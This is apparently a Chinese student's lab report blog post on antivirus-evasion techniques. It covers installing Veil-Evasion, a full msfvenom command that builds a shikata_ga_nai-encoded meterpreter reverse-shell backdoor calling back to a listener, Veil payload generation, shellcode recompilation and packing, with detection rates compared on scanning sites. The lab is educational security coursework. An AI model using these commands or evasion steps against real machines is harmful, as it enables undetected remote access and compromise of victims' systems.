实验三 免杀实践 赵文昊20155104

实验三 病毒免杀技术实践

环境搭建

在做实验之前试过好多方法在Kali中下载veil-evasion这款后门加壳的软件,最后在度娘的帮助下终于装上了,在这里给大家提供一个比较有效的安装方法(注:开发源加上中科大和阿里云等等)

apt-get clean

apt-get update

apt-get upgrade -y

apt-get install veil-evasion

veil-evasion

在安装Veil-evasion的过程中可能会报错,但只要安装程序不退出就不要着急,有些错误是不要紧的。在跳出安装界面的时候只需要不停地Next即可,界面也会出现很多乱码的字符所以就不要尝试读懂了-_-||
过程时间很长,推荐大家提前准备好实验软件,方便跟上老师的脚步。

实验要求和原理

这边是自己上理论课的收获,可能有错……大概吧……
所谓免杀,就是避免杀毒软件检测出我们传送的带病毒文件,然后,这个文件就可以不那么尴尬地被杀毒软件立刻Kill掉,是提升实用性的关键一步(希望我不会用到他)。
大部分杀毒软件是依赖特征码检测,所以最简单的免杀方式自然就是让这些特征码隐藏起来,等到我们执行它的时候,程序的本来面目再暴露出来。如果我们只有可执行文件,那我们需要给这个文件加壳。如果我们有shellcode,我们可以用encode编码或者payload重新编译它。如果我们有源码,那就简单很多,我们直接用其他语言重写再编译,不同编程语言所呈现的带病毒文件差别会非常大,特征码也会消失,这样也可以达到目的。
我打算就用实验二中那个后门软件开刀,尝试一下我们制作的免杀是否有效果。
检测方式就是我们找到的两个网站,今后有什么不确定的文件也可以丢进去检测一下,网站会给出一个比较可信的答复。
https://www.virustotal.com/
http://www.virscan.org/
后面给大家展示效果。

实验步骤

1 先用一下msfvenom编码器

我们先把上个实验做出来的后门扔进检测网站试一下。
很尴尬,这文件刚放进Windows,就被腾讯管家关小黑屋了。
从小黑屋放出来就可以了,我们分别放进两个网站检查一下,看起来杀毒软件还是比较厉害的(记住这几个没检测出来的,以后还是不用了)。

接下来,开始做免杀,让我们看一下效果怎么样。
编码器,让我们多编几次码,结果自然是没什么变化的。。。

msfvenom -p windows/meterpreter/reverse_tcp -x ./20155104.exe -i 5 -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.43.74 LPORT=5104 -f exe > 20155104_backdoor.exe

2 试试Veil-evasion

Veil-evasion是一个免杀平台,让我们试一下
我使用的版本是3.1.1,跟旧版本可能有一些不同的地方。
打开Veil-evasion,可以查看已加载的payload,有41个!
选择其中一个开始制作!我选的跟教程一样是21号。选好后是这样的!

在这里要设置一些信息,我把LocalHost设置成了自己的IP地址,并且把LocalPort设置成自己的学号。

最后给自己的程序起一个名字,然后完成,如果显示这样一个界面,我们的成品大概就制作好了!

在这个界面下依然会显示做好的文件路径,一定要记得复制一下!不然一会会头疼的。
好了,看一下,把东西拿出来,再放到网站上试一下。

可以看出来这个免杀是有那么些效果的。。。(虽然还是有不少能检测出来)

4 shellcode再编译,这个手工操作就有点费劲了

先生成一个c语言格式的shellcode

再编一个C语言编程的程序,简单一点用到这段生成的字符串即可,不用想的那么复杂。(因代码具有攻击性所以暂不显示了,有兴趣的自己摸索制作)

扔进网站,查得这样的结果,比预想的还要更好一些哦!

5 加壳

这段操作起来比较简单,需要我们提前准备一个有病毒的可执行文件(这里就决定是刚才生成的那个文件啦!)

老规矩,扔进网站,检查一下!

看得出来,这个效果不是很好,简单的加壳并不能给免杀带来太多的好处。

实验感想

免杀这个实验是提升实用性很关键的一堂课,这使我们攻击一个普遍的正常使用的机器成为了可能,虽然还没有达到无法防御的地步,但是经过一些诱导后,普遍的机器已经可以被我们入侵。但是,要想真正达到职业黑客的水平,这些还是不够的,我们目前无法让这病毒自启动,并将我们的操作提升到一个管理员或者说是root权限上,还有很多需要学习的地方。
杀毒软件的运作机制是我们考虑如何入侵的一个重要信息,我们要充分了解杀软才能避开检测,矛和盾是相互促进,必须相互了解才可以提高,这个实验也同时告诉了我们怎么更有效地进行防御。

posted on 2018-04-07 22:39  囚月  阅读(208)  评论(0编辑  收藏